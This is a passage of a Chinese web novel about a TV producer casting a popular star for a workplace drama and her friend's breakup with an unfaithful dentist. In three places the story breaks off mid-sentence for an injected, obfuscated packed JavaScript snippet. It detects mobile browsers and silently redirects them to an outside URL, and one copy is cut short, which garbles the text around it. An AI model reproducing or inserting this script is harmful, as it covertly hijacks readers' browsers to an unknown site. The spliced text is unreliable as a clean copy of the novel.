二线这种知名度的明星,在经纪人面前有一定的话语权,但他只想挣钱,哪部戏片酬高接哪部,从不挑剧本质量,也不挑制作班底,演了很多烂剧。粉丝们没少攻击他的团队,恨不得撸起袖子把他身边的人都炒掉。 二线和经纪人无非是想多要点钱,条款还有得谈,但姚澈的助理查了二线粉丝的作为,他被放弃了。 二线这两年演过或播出的作品有七八部,从片方到明星的合作对象,都被粉丝辱骂个遍。骂片方给明星的造型不好,打光不行,角色人设差,名字排到别人后边更是罪大恶极,几个制片人都被他们PS了照片,不断诅咒。当然,他们也骂编剧烂,导演烂,骂其他演员抢戏…… 在粉丝眼里,全世界都是烂人,都在坑害他们的哥哥。姚澈不明白他们的戾气为什么这么重,但身为制片人,她能绕开走。写剧辛苦,拍剧也辛苦,何苦自找晦气。 有个一线花旦团队联系姚澈,他们很喜欢剧本,愿意面谈。但花旦的档期排到明年7月,明堂影业和KR、TZ两家网站签了合同,等不到那时候,而且从年龄和气质来看,花旦不太像大学刚毕业的职场新人。 KR网站推荐一位流量明星出演男一号,他还不是流量的时候,网站购入他主演的一部古装剧,一夜之间会员激增,被网站视为福将。 流量明星的团队和网站签了战略合作,他原计划下个月进组拍戏,但出品方在某个生意上投资失策,项目暂停。KR网站给流量的经纪人发了一堆剧本,流量看了几部,对《战朝阳》评价最高,约姚澈见面,姚澈带上杨树和刘云彤随行,一起去跟流量本人当面洽谈。 《战朝阳》有望由流量出演,杨树高兴之余,不免疑惑,这戏是女性视角,以流量的地位,本不会选它,但见面才知道,流量看中了男一号的人设。 流量的长相只是普通帅,但红气养人,整个人闪闪发亮。交谈时,他一双笑眼凝视着杨树,杨树很明显地察觉流量在对她放电,但她只是个策划人。 流量大红大紫,一言一行都很放松,杨树暗暗观察他,她很快发现,流量放电是下意识的,他对所有人都无差别地释放荷尔蒙。 杨树和刘云彤用眼神交流,刘云彤也有此感受,两人都理解流量能成为流量了,固然有背后的资本力推,但这人本身具有性魅力。 流量出道至今,演的大多是古装剧和年代剧,去年演的两部都市剧都是霸道总裁,满口他根本就理解不了的金融术语,人设还浮夸,一开口华尔街就抖三抖,要么手一挥,收购跨国集团,只为逼心爱的女人就范,性格还是一个模子刻出的高冷禁欲型。 导演给流量讲戏,流量怎么都演不对,富可敌国还守身如玉的男人,他听都没听说过,以他所见,有钱有权的男人不知玩得多荒唐。导演说:“这是文艺作品里的角色,你别按真实生活理解。” 流量说:“那他们生活在真实的地名比如北京上海纽约巴黎,每个人还都把饺子当美味,我真的不认识任何一个这样的男的。” 导演给流量掰扯了一通,流量继续质疑,女二号妖娆多汁,热情似火,男主角却对她摆冷脸,话都不多说一句,这男的实在太虚伪。导演无奈:“你心里只有女一。” 流量更疑惑:“早就分手了,还一见我就绕路走。现在这个挺好看的,性格还带劲,我还推开她,难道你们不怕观众觉得其实是我不行?那么有钱还这么纯情,只惦记前女友,原著作者和编剧老师她们自己信吗?” 《战朝阳》的男一号是名牌大学毕业,计算机人才,但编剧安排的事例得当,流量看得懂角色每天在干嘛,为人聪明自信还温暖,是生活中的好人,女朋友谈了不止一个,更显得真实可信。 到了流量这个级别,他在经纪人面前有足够的话语权,但他想演《战朝阳》男一号,居然是“看得懂”这么一个普通原因,杨树简直哭笑不得。不过朱青以前就说过,演员挑剧本的角度时常出人意表。 经纪人在边上露出无可奈何的表情,他说很希望流量去演言情剧和大男主,那对他的加成更大,就算想演个不一样的,好几个S级等着他,可流量死活盯上只评上A ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081892|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级的《战朝阳》了。也罢,依他。 男一号人设是朴素路线,姚澈对造型的构想是平头男生,T恤衬衫牛仔裤,跟流量演的那些光鲜角色截然不同,流量没意见,片酬报价也只开了3000万,不到他市价的一半。 3000万必然是流量和经纪人商议的结果,但价格一出,经纪人仍然皱了一下眉,他说流量今年有转型打算,想多拍点现实题材,用这个片酬向明堂影业表达诚意。 明堂影业最擅长做现实题材,姚澈表了态,公司的新剧第一时间就向流量递剧本。但谈到具体细则,流量只能给出48天,他未来的综艺节目和商务代言排满了,8月有部古装言情剧的合同也已签死,拍完它,还有部奇幻剧等着。 杨树明白流量没报高价的缘故了,《战朝阳》对他来说是个填时间的小项目,赚点快钱。 流量演技极平庸,但比起同级别的其他人,态度诚恳些,这点是加分项。姚澈接触了一圈人,片酬几百万一千万的人,也没一个安分守己不苛待别人的,流量相对算是好说话的。 姚澈带的法务和流量经纪人商讨起具体合作细则,48天太少,双方反复拉锯,流量同意多给5天,且拍摄期间一不轧戏,二不请假出席商业活动,三不自带编剧改剧本。但贵为流量,他指定用天价造型师,每天只工作8小时,含化妆和去片场路上的时间等等,各种要求抠得特别细。 《战朝阳》重点写女孩们的成长,工作一点点进步,情感上遇见几个不咋地的男人,流量对“不咋地”有点看法,谈完合同,他提出洗白男一号。 按设置,男一号和相恋数年的女友分手,两个人各有各的问题。剧本里写出了两难,但流量说男一号还没和女友分手,就跟女一号暧昧,三观不正,杨树解释这正是她想探讨的话题之一,流量担心观众会骂,杨树说:“我估计骂女一号的更多,有些女观众喜欢心疼男的。” 经纪人给出解决方法,把脏水都泼到前女友身上。姚澈沉吟道:“我不赞同。这样吧,他和前女友分手,才和女一号有了真正的暧昧,道德上也没问题。” 流量接受了,但姚澈依然只打算有限度地妥协,直言相告这些修改都在前10集,10集之后的男一号也依然有许多不咋地的地方,但不会再变动。流量点了头,只要没有精神出轨就行。 合同条款都掰扯得差不多,今晚之内,修订后的合同就能互相确认,这件事至此定下来。流量下午还有几个活动,让经纪人张罗晚餐,他要宴请姚澈等人,姚澈说:“等到开机宴吧。” 告别时,流量想起一事:“男主的名字有点土,杨老师可以帮我换换吗?” 男一号的名字四平八稳,很符合人物身份,但改名是小事,杨树说:“没问题,我马上找编剧。” 刘云彤感叹流量演多了偶像剧,才会在这种细枝末节上纠结。杨树笑称剧本质量过硬,他只能挑这点小毛病,但对于恶化前女友的写法,两人不免叹气。姚澈请两人喝下午茶,她入行前,眼里掺不得沙子,但在影视业,只能睁着一双沙眼。 杨树以前没少骂影视剧价值观腐朽,但自己做剧才明白,但凡有一点点女性主张,想突围都殊为不易。《战朝阳》侥幸走到这一步,伴随了数不尽的妥协,想必那些播出的作品也都经历过这样的阶段,它们大多庸常,被观众骂烂剧,可是不妥协,就会步《三十难立》后尘,被掐灭在摇篮里。 姚澈安抚杨树,除了男一号的前女友,她的构想能尽最大努力保留下来。杨树点头,想要把自己的观点传播开去,还真得找个当红的,流量是最优选。 流量钟情于男一号人设,姚澈认为这和他的经历有点关系。流量大学时读的是男一号相似的专业,他早年跟过一个台湾导演,得到几部剧的资源,从男三号演到男主角,终以一部仙侠奇幻剧爆得大名。《战朝阳》男一号的普通人生活,也许是流量假想中的另一种人生。 流量出演男一号,《战朝阳》迅速在视频网站那边从A级跃升到S+级,制作和宣发上的预算自然比之前翻了几番。姚澈原先联系的几个小花旦,要么嫌它不是IP,要么嫌它只是A级,现在都闻风而动。 女一号最终定的是个准二线小花,TZ网站高层的新欢之一,几乎是零片酬出演,但搭上流量,一切都值得。 顾叮叮本来也在目标范围内,但她风评不佳,姚澈从助理拟的名单里第一个就划掉了她。杨树听闻此事,看看埋头忙碌的郑致,摇摇头。爱豆在粉丝眼里独一无二,但在他们憎恶的资方眼里,是有替品的,各方面合适就用了。 《战朝阳》由流量主演,再加上几个著名老演员,招商方面很顺利。有个高端家居品牌和流量及饰演上司的女演员都有过合作,他们形象舆论正面,与品牌定位匹配度高,品牌很乐意加盟。 《战朝阳》定于6月11日开机,筹备期不足两个月,姚澈和导演单明玉带着美术团队去勘景,指派杨树和家居品牌接洽,根据演员气质和角色定位,结合品牌风格,商谈相应的布景陈设风格。 家居品牌植入旗下三个子品牌,含蓄地展现产品和服务特性,呈现给观众一种生活方式,和剧情自然融入,营销费用达到了400万,秦朗恍然大悟:“难怪他片酬那么高,你们还愿意用他。” 《战朝阳》主写都市小白领,男二号是科技新贵,再加上主创班底专业,高端定位且有一定调性的品牌愿意合作,《玫瑰掌门》就没法谈这些了。这也是行业剧被拍成情感剧,角色还非富即贵,各家影视公司依然照拍不误的原因。 丁盼兮说可惜大多是烂剧,有点对不起品牌投的钱,杨树拍拍自己的肩:“所以还得下功夫把内容搞好。” 45. 第 45 章 五一小长假在即,丁盼兮和牙医又闹分手。牙医要去厦门开研讨会,丁盼兮也想去玩,还预约了一家摄影机构,她想去鼓浪屿拍照,但牙医说开完会就回来,五一想跟他妈去坝上草原。 牙医每周末都回京郊看他妈,丁盼兮生气说自己一个人去厦门,牙医说换个时间陪她去,丁盼兮半真半假说恋爱半年,牙医似乎从没想过要带她见家长,牙医捏捏她的腰肉:“你上次还说,能穿进那条红裙子就带我回家。” 丁盼兮把牙医踹得一歪,牙医求饶,同居以后,两人都胖了几斤,不如去健健身。丁盼兮是嫌弃自己胖了,当即就报了健身房,每天不吃晚餐,雷打不动在健身房练上两小时。 牙医也健身,但诊所病人多,他去得不勤。杨树是过来人,被恋人嫌弃外形是个不妙的信号,说不定牙医在外面已有更合意的新人,但她没证据,只能寄望于丁盼兮自己看清,更寄望于自己想多了。 6月11日,《战朝阳》在北京开机。郑致被杨树派去剧组的宣传组,跟进现场物料采集,这项工作事无巨细,但很适合郑致的性子,他干劲十足。 杨父提前两天从内蒙过来,杨树和秦朗一起去机场接他。杨树和爸爸视频时,秦朗经常凑过去打招呼,两人第一次正式见面就很亲厚,谈笑风生。 杨父对秦朗的工作很感兴趣,秦朗什么都跟他聊,开机当天,他特意请了半天假,带杨父去拍摄现场。 为了百分之百还原男女主角工作的创意设计公司真实质感,姚澈团队考察了十多家公司,在五环边上的创意园租了一整栋小楼,打造成剧中的公司,大到装修风格,小到打印机和笔筒的摆放,都极尽真实。 拍摄过程中,剧组工作人员早上挤早高峰刷卡进电梯,跟上班族的真实状态保持一致。爸爸看得兴趣盎然,跟生活制片聊得投机,中午吃盒饭,人手一份,杨树拎了三份给编剧们送去。 按甘棠的工作进度,《战朝阳》24集剧本原可在4月底就完成初稿,有比较充裕的时间润色剧本,但流量满打满算只给53天时间,姚澈让甘棠和助手调整了写法。 花那么多钱请流量,摊下来一集不知多贵,如果流量一集就出场5分钟,3000万赚得也太轻巧了,虽说两家网站都参与了投资,没有全花明堂影业的钱,但谁舍得这么花钱? 大改特改后的剧本还剩6集没写完,甘棠带着两个助手驻组写。她原先给男一号取名为江浩然,流量嫌土,想要个唯美点的,甘棠改为江一苇,取一苇渡江之意。导演单明玉说这名字跟现实向的青春故事不搭,抬手加了一横,江变成汪,用个平淡的姓氏压一压,杨树乐了。 流量的粉丝很有创意,把汪一苇打成汪一尾,看上去是个汪汪叫的小狗,毛乎乎的可爱。开机当天,粉丝们不费多大力气,就把这三个字和汪一苇都弄成了热词儿。郑致很羡慕:“他的粉丝给宣传省大钱了,公司和网站当然爱用他这样的。老大,你明白其实艺人是真的很依赖粉丝吧?” 杨父只请了几天假,秦朗订了前门一家昂贵的餐厅为他送行,骗他说找领导借的会员卡,能打五折。杨父心里有数,晚上回酒店,他给秦朗的见面礼是秦家给杨树的两倍。 杨树心疼爸爸攒钱不易,但爸爸给钱这一行为,会让他觉得自己还有用,他因此快乐,她就开开心心地让秦朗收着:“你的就是我的。” 等送杨父上了飞机,秦朗很过意不去:“你怎么也不说说你爸?” 杨树抓着他回家找丁盼兮理财,丁盼兮投资有方,帮着买进卖出,秦家父母给的礼金如今已翻了番。可丁盼兮很晚才回家,她和牙医吵到分手,这次是下定决心了。 五一那次和好没多久,牙医没以前黏腻了,他说他妈病了,一下班他就回大兴。丁盼兮想去看望,牙医没让,他妈是摔了腿,伤筋动骨一百天,静养就行。 丁盼兮没起疑,直到本月初,她闻到牙医身上气味不对。牙医刚来家里住那会儿,夸过她洗发水气味好闻,她买了几瓶送他,有时牙医忙得太晚,在自己出租屋里住,用的也都是这款洗发水。但有天他躺在丁盼兮怀里,丁盼兮嗅到陌生的香气。 牙医谎称洗发水用光了,忘记买,用沐浴露凑合了一次。丁盼兮虚与委蛇,上周五,牙医说周末又得回大兴,丁盼兮去了牙科诊所,他果然不在,但丁盼兮约前台护士吃饭,护士说了实话。 丁盼兮每次去牙科诊所,都给护士们带点饮料和甜品,跟她们处得很好。今年年初,前台护士的表姐刚怀孕就被公司辞退,护士得知丁盼兮做人事,找她支招,丁盼兮教她如何争取利益。 丁盼兮才知道,牙医露水情缘很多,他的确经常回家看他妈,但不是成天都待在一起,很多时候是跟女人约会去了。 喜欢牙医的女人多,但散得也快,他和丁盼兮交往了半年多,诊所人皆称奇,尽管这期间他和别的女人也相处过,但丁盼兮已是最久的一位。 牙医的新欢是他大学同学,比他高几届,以前来过诊所几次,过完五一节,女人常来常往。 护士没有那女人的联系方式,丁盼兮不能让护士在诊所难做,忍着没跟牙医发作。今天中午,护士报信:“她来我们诊所了。” 牙医给病人补牙,女人是同行,在一旁笑着观摩,不时讨论一二。病人本就紧张,她还一惊一乍,笑得嘎嘎乐。 丁盼兮站在门边,肺都气炸了,黑着脸在门上敲了一下:“我在旁边茶楼等你俩。” 东窗事发,牙医难堪不已,到底带女人去了。丁盼兮订了包厢,女人见面道歉,是她纠缠牙医,牙医跟她吃了几次饭,看过几次电影,但牙医直言只爱丁盼兮,她甘愿退出,再不打扰。 女人流下眼泪,牙医红了眼圈:“盼兮,我保证……”丁盼兮打断他,“什么时候开始的?” 牙医说是四月的事,女人用胳膊肘碰他,一双泪眼迎视丁盼兮:“我和他没开始过。” 丁盼兮眼睛瞟着牙医:“她在为你开脱,感动了吧?景蒲一,你做不了选择,我来做。我们完了。” 当着牙医和那女人的面,丁盼兮极尽洒脱,一离开茶楼,她气得破口大骂,但还得如常回公司上班,下班找家酒吧买醉,越想越过不去,拎了两瓶酒,砸了牙医诊室的玻璃。 玻璃太厚,没能砸碎,但红酒流淌得肆意,丁盼兮多少解点气。牙医和他的女人让她倒尽胃口,她的爱意荡然无存,若牙医站在她面前,这碎掉的酒瓶子就会划破他的脸,她确定。 秦朗错愕,牙医长得那么乖顺,居然勾三搭四,丁盼兮最难过的就是这点,若不是眼睁睁看着那两人眉来眼去,她仍然无法相信,护士说他“女人特别多”竟不是夸张。 杨树叹口气,如果一看就像浪子,比如以前那个弹尤克里里的男人,丁盼兮不会跟他走得太近,更不会成为恋人,但浪荡是心性,跟长相没关系。 施严说过,很多真浪子,看着都像雏儿。《天作之合》的男主角白杨跟牙医一样,都是一脸纯良,拍吻戏耳朵红透,但白杨在剧组时跟女二号和另外几个小艺人都睡过,还把她们往大佬腿上送,给自己多捞点资源。当然,女孩们自己也愿意,她们大多都长了一张清纯的脸。 脸是最具欺骗性的,总让人错觉长得干净善良,就不会干些龌龊事。丁盼兮把所有床品都扔了,网购了一批新的,戴着手套在卧室里喷酒精,咬牙切齿喷喷喷,不把牙医留下的气息去掉不罢休。 夜里,丁盼兮钻进杨树卧室睡觉,挤在一张床上聊天。她没以为会跟牙医结婚,但谁谈恋爱都不是冲着分手去的,情淡了缘才散,她是这样以为的。她说宁可牙医和那年轻漂亮的相亲对象好,也不想看到他为了这粗鄙女人就满口谎言,还奚落她腰上有肉,让她去健身,她被这人恶心到了。 杨树反问:“换个女的真能不气?” 丁盼兮闷了一下,大叫出声。牙医和前者好上了,没准她更生气,因为他明明说喜欢姐姐型,但找了个大学在读的姑娘,同样是欺骗。 一想到自己被牙医一而再地欺骗,丁盼兮完全睡不着,她觉得被耍了,内心汹涌着暴力欲望,她还是想划他的脸,再砸破他的头。 今年的任务仍是CPA,丁盼兮极力屏蔽坏情绪,但一下班就忍不住,喋喋不休骂人。杨树和秦朗都陪她骂,谁被戴了绿帽子心里都不好过。 牙医的私人物品被丁盼兮塞满了两只编织袋,过了好几天,他才出现,但不是来拿东西的,而是求复合。他说那女人拼命纠缠她,还想自杀,他背负不了这么大压力,才配合她,可她越陷越深,他有口难言。 丁盼兮只爱一种男人:只爱她的人。她失望透顶:“景蒲一,我真瞧不起你。你光明磊落地承认会死吗?” 牙医哭了:“她闹得厉害,她是真的会自杀,盼兮,你是不知道……” 丁盼兮冷哼,她看过的言情小说里,女主角自杀了,男主角痛苦一生,但那是小说,真实生活中,绝大多数男人会淡忘,会放下,会和别人重新开始。她不信那女人真的会去死,也不信牙医真担心女人去死,女人死了,他难受几天,就继续纵情红尘游戏人间,说不定还借此吹嘘自己魅力大。 牙医想抱丁盼兮,被丁盼兮推开:“滚。” 牙医流着泪,拎着两只编织袋出门。杨树透过猫眼,看到他坐在台阶上发呆,像无家可归的流浪狗。丁盼兮坐在床上嚎啕大哭,自己竟然如此差劲,一次眼瞎就算了,次次眼瞎。 分明是男人的问题,但丁盼兮跟自己较上劲了,杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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日剧是八年前的作品,施严认为故事核虽好,但不适合本国社会环境,青芽传媒决策层却一派欢腾,买这么著名的作品版权费才两百多万,比买网文作者的小说合算得多。 杨树找来原版日剧观看,照着拍在国内过不了审,想把它的精髓拍出来,需要花大钱找好编剧改编。 对本国大多数观众而言,日剧是新鲜故事,杨树不反对翻拍,好故事值得传达给更多人,但以李伊梦的能力,杨树可以预见,人物逻辑本土化是她做不好的任务。 回京后,杨树把施严的简历发给了公司的人事专员,但还不到复试,施严选了张瑞江太太所在的QE网站,仍是做责编。 QE网站的责编底薪高出明堂影业三分之一,施严说薪水是其次,他看清形势了,视频网站现在不如卫视有影响力,但迟早会反超,就算不反超,它是平台。比起影视公司,平台才是话事人。 杨树赞成施严,产品做出来,总得有买家,平台不买,影视公司就不便往下操作。若不是钱一诺本人喜欢《玫瑰掌门》,愿意为它使劲,可能也像《不惑之年》那样搁置了。 CPA考试临近,杨树每天给丁盼兮辅导英语,感情之事一个人说了不算,但学习总能一分耕耘一分收获。一天深夜,丁盼兮收到牙医发来的十七八条信息,痛诉多么想她,多么后悔,多么想回到她身边,她看得又难过又恼恨,拉黑了事。 事到如今,丁盼兮仍无法彻底相信,在那样一张羞怯的面容下,藏着一颗轻浮的灵魂。虽然不想再相信他,但她刚才差一点被打动了,她为自己这一刻的动摇,加倍恨自己。 杨树抱着毯子去丁盼兮房间睡觉,谈心到后半夜。一段情缘聚散离合是正常的,但弄得黏糊难看,是牙医的问题,不是丁盼兮的问题,丁盼兮说:“可你跟陈樟也没这样。你跟秦朗也很好,说明的确是我做人有问题,没有识人之明。你比我会找男人,我要擦亮眼睛,要学习经营感情。” 杨树笑笑,一个人拥有不错的感情,其实跟这些那些都没多大关系,纯粹是运气好,没别的。但人生还长,不到盖棺定论,谁能笃定一好到底?她的好运气只是暂时的。 丁盼兮没想到杨树的感情观竟如此悲观,杨树想了想,大概是母亲早逝,让她从少年起就认为世事无常,不存在恒长久远的关系,无非是在一起的时候,尽力去善待对方罢了,她觉得自己这叫平常心,称不上悲观。 丁盼兮和杨树相反,她因为自小父母缺席,而分外想要个朝夕相对的人,却屡屡落空。杨树叹气,七岁时她想当老师,十七岁时想当编辑,自己都变来变去,喜怒不定,可见人心易变是常态,跟一个人建立情感关系之初,就该想到,可能会有不稳定的那一天,她有这个心理准备。 丁盼兮说秦朗肯定跟牙医不一样,他不会离开杨树,杨树说不一定,而且为什么假定男人先走呢,没准有天她不想跟秦朗走下去了,丁盼兮被逗笑,她那行诱惑多,这可真没准,可怜的秦朗。 一个人想离开另一个人,有很多原因,可能跟诱惑无关,但杨树跟丁盼兮说不清楚,也就不辩驳,只聊些开心的。 这次夜谈后,丁盼兮状态好了些许,学习效率很高。这世上惟有自己不负自己,就算负了,没能达成目标,也是砸在自己手上,不冤。 46. 第 46 章 转眼到了七月,杨树和丁盼兮结伴去买菜,刚走到小区门口,丁盼兮就看到牙医的新欢了。 那女人弄到丁盼兮的手机号,大清早发来短信,想跟她单独谈谈,丁盼兮没搭理,谁知竟摸到小区。丁盼兮提着拳头忍了,杨树站得不远不近的,丁盼兮个子高,但那女人很胖大,她担心丁盼兮吃亏。 女人急切解释,她无意破坏丁盼兮和牙医之间的感情,丁盼兮鄙夷地看她,这女人究竟是以退为进,还是把自己看得太轻?她忍住恶心感:“我跟他没感情了,你松口气吧。” 女人哭着问:“你真的做得到不跟他复合吗?” 丁盼兮一点扬眉吐气的感觉都没有,看上同一个没担当的小男人,谁也不比谁高贵。 女人指出牙医已不爱丁盼兮,只是贪恋她对他好,丁盼兮甩手走了:“那么渣的男人,不要不行吗?” 走出老远,杨树回头看,那女人坐在长椅上哭,她想到黄婕。黄婕带着赌鬼男朋友回老家后,当编剧为生,据刘云彤说,黄婕情绪问题更加严重,但知情人都已无能为力。 被羞辱了,被否定了,还发觉最大的傻逼正是自己,丁盼兮满心都是挫败感,自我厌弃至深。杨树找秦朗商量,今年丁盼兮生日,送她去布拉格玩一圈,好好散散心。 布拉格是丁盼兮向往之地,但十天游花费不菲,她连连推却,杨树说:“三十而立,该送个大礼。” 秦朗帮腔:“杨小树说她在北京只剩三个最好的朋友,你,我,朱青。” 丁盼兮很想调节心情,请了年假去旅行,反正杨树生日在她之后,到时候回礼就是了。 丁盼兮生日当天,牙医徘徊在楼下。秦朗劝他走,丁盼兮身在欧洲,以她的性子,这段感情的确已结束。牙医说丁盼兮拉黑了他所有联系方式,可他真的后悔了,他没这样爱一个人,他想清楚了,从此收心,踏踏实实对待这份感情,他知道丁盼兮想结婚,等她一回国,他就跟她去领证,长长久久走下去。 杨树觉得丁盼兮被恼了心,不会再走回头路,秦朗认为不能替她做决定,有话还是他们双方说清楚,他说:“我们让盼兮把你从黑名单放出来,你俩沟通吧。” 牙医给丁盼兮打了电话,他没喜欢过那女人,但那女人爱他爱得不能自拔,她说只想跟他在一起,哪怕半个月也好,背负道德指责她也认了,他心软了。这些天他反思了,是他懦弱没担当,让两个女人都痛苦,可他终究醒悟了,他爱的是丁盼兮。 丁盼兮想象那女人倾诉衷肠的模样,她爱得卑微又浓烈,很满足牙医被爱的渴望,可他依然把自己摘得干干净净,一如他那张貌似无辜的脸。 “我在享受生活,我不痛苦。我嫌你脏了,不要你了,听明白了吗?”丁盼兮说完,按了电话回酒吧。 旅行并没能让丁盼兮的心情恢复如常,她的恶心感依然时时翻涌,但精神胜利法多少起了一点作用。人不能把他人的评价太当回事,但是旅行途中,一直有人追求她,她很受用。 丁盼兮单身出游,给自己编排的人设是离异女人,早婚早育,儿子八岁多,判给她了,眼下儿子在舅舅家过暑假,她办完离婚手续出来散心。男人们都不信她能生出那么大儿子,最帅的那个看上去很情真意切,还表示愿意为她去中国。 丁盼兮只和男人谈谈天气,练练口语,享受良辰美景。回北京的飞机上,她睡不安稳,身后一男一女絮絮了一路,男人是感情挽回师,女人是他的客户,被教导要改头换面,欲擒故纵,做小伏低,嘴甜温柔…… 丁盼兮上厕所时,特意看了一眼,出乎意料,女人长得小好看,但眼圈发黑,眼神发飘,看着很萎靡。丁盼兮不太因失去而痛苦,但恶心感占据大脑时,她也这样痛苦过,脑子里只想着一件事:他怎么是那种狗东西,我竟然和他好过,我是世界上最大的傻×。 女人脑子里大概也只想了一件事:我爱他,我必须挽回他,否则我活不下去。她似乎全然忘记那人欺骗她,轻视她,毁灭她,无论她怎么哀求,他都铁石心肠。大师说不是她的错,对方也没那么可恨,是两个人在感情上暂时不能正常沟通,只要掌握了方法,就能回到甜蜜的从前。 女人把大师奉为神明,等行李时,丁盼兮看了她很久,终究什么都没说。 杨树在网上查了查,感情挽回服务居然有很多,成交量不俗,仔细看评论,购买服务的大部分是女性,寻求情感大师、心理专家帮助的也以女性居多。她有点气恼:“为什么女的这么多?” 秦朗说:“因为从小到大,我爸妈都不会教育我,人生最重要的事是找个好女人,有个好归宿。” 杨树哈哈笑,她爸妈倒没教育她要找好男人,但她知道对女孩的这些训诫无处不在。姚澈内外兼修,仅仅因为找了个居家型的男人,就被一些女人嘲笑小男人图她的社会地位,绝不会娶她,似乎“不被娶”是姚澈人生遭受的最大惩罚。 在欧洲时,丁盼兮对感情判了死刑:因为和你在一起过,我恶心了自己,别让我再看到你,这不是气话。牙医明白自己没机会了,但精心准备的生日礼物,仍想送出。 丁盼兮讨厌纠缠不清,不和牙医见面,她在不见面时才比较恶心他。见着了,他会含着泪,为难地看她,一张诚恳能骗人的脸,让她怪不起来,她为自己那一刻的不怪而加倍自厌。 杨树拉着秦朗下楼,代替丁盼兮和牙医对话。牙医捧着一只很大的礼盒,是丁盼兮很喜欢的品牌包,他预订了几个月,前天才寄到。杨树让他送给新欢,牙医说只适合丁盼兮的穿衣风格,杨树冷淡道:“拿给盼兮,她也只会剪掉,别浪费钱。” 朝秦暮楚是真的,想挽留前女友也是真心的,两性关系是这么复杂和纠结。牙医捧着包,含泪走了。 丁盼兮把自己情路坎坷归结为陷入恋情太快,再次拉黑了他,她发誓要慎重,反复再三考察对方人品,一有不对劲就终止,不能再糊弄自己。今年的CPA第一场越来越近,她打起十二分精神学习,不想再考不过。 《战朝阳》在热拍,《玫瑰掌门》剧本进展也顺利,杨树抓起了新选题,每到周末,她就去《战朝阳》剧组探班。 最近拍的是女一号和女二号的生活戏码,主场景是出租屋,姚澈租了西四环的老小区二居室。美术团队布景很到位,半旧不新,家常自然,终于不再是杨树在电视上常见的那种都市剧,穷困潦倒的小白领住在精致整洁的大房子里。 导演单明玉很亲和,在片场走来走去,跟这个那个商量事情,总是笑眯眯的。《战朝阳》是现场收音,流量带了台词老师现场指导,女一号很敬业,台词背得极通畅,但演技一般,需要单明玉反复讲戏,再演上几遍,让女一号依葫芦画瓢。 剧照师每天会拍摄大量照片,留作物料,但男女一号都专门请了摄影师,拍摄幕后花絮,用于团队宣传。用原声、背台词本就是演员工作的一部分,但在宣传下,俨然成了典范。 进组做宣传之前,郑致憧憬顾叮叮能和流量合作,进组后,他幻灭了。流量在镜头面前谦逊开朗,那是因为每个细节都被盯着,但一个人的真实性格藏不住,嫌休息室太小,嫌戏服不够修身,嫌导演太严苛,嫌自己每天戏份满满当当,随时随地斤斤计较。 剧组大部分工作人员都是普通人,看艺人不带滤镜,流量演戏,三条还不过,就会被众人甩脸子。换个剧组,流量还能混,但单明玉要求很严格,流量经常会拍上七八条,耽误了大家的放工时间,每天都得派出助理买咖啡和食物赔罪。 在别处,流量是座上宾,但剧组多是糙老爷们,他们瞧不起所谓的小鲜肉,流量若不处处赔小心,很可能被穿小鞋,没人喜欢没完没了的加班,还没有加班费。 粉丝们都为爱豆的前程操碎了心,只要爱豆没有无缝进组,就辱骂工作室无能,连累他们的哥哥姐姐在家抠脚,拍些不够档次的广告,但杨树在剧组待了半天,就看出流量很不爱演戏了。天分不佳,在剧组过得压抑,爱演戏才见了鬼。 郑致感叹,难怪很多明星削尖脑袋去上综艺节目,或是拍广告,那些钱他们赚得轻松得多。但也有愿意整天待在剧组的演员,比如饰演女一号上司的资深演员,她演戏感染力很强,几乎都是一条过,但很不红,连助理都没带。每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081894|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场她一演完,都有工作人员鼓掌,自发给她拿水,喊她吹电扇,戏好,大家是认的。 当初谈合同,流量经纪人添上“不能拍大夜”的条款,他说流量是易水肿体质,只要熬夜,脸就毁了,三天都不能看。开机后,众人发现流量夜生活很丰富,还酷爱吃火锅,每每在总统套房独享一锅,七大碗八大碟蔬菜,在白锅里涮上几片,肉类完全不动,他说就喜欢看火锅咕嘟咕嘟冒泡,然后把自己丢给健身私教,狠狠练上两个钟头。 每天到现场,流量才拨冗背台词。助理为他一句句提词,镜头到他面前就说一句,镜头一挪开,就赶忙记下一句。有个小演员饰演流量的同事,流量前一天晚上又喝到断片,台词一句也没背,频频接不住小演员的词,引起现场一片嘘声,他脸上挂不住,数落小演员口条差,台词含糊,自己听不清才接不上,小演员分辩几句,流量爆了粗口。 单明玉坐在监视器后面,看清两人的微表情,起身大声喊流量的名字,招手让他过来,同时快步迎上去,一耳光呼上他的脸。 举座皆惊。流量捂着脸,呆了。单明玉指着鼻子骂他不敬业,流量脸色极其难看,郑致看傻了,小声跟杨树说完了,流量是KR网站指定的人,单明玉得罪他,他甩手走人怎么办?一来耽误工期,二来预算也得超。 单明玉虽然是资深导演,但在流量为王的时代,不知多少片方恨不得八抬大轿请流量去演戏,把他哄得好好的,单明玉对他竟然如此硬气,杨树静观其变。 单明玉一气骂了几分钟,直接放话:“有本事你就别拍,马上走人!” 流量黑着脸,单明玉抬起下巴看他,两相对峙,流量一言不发地回到房车里,再没下来。 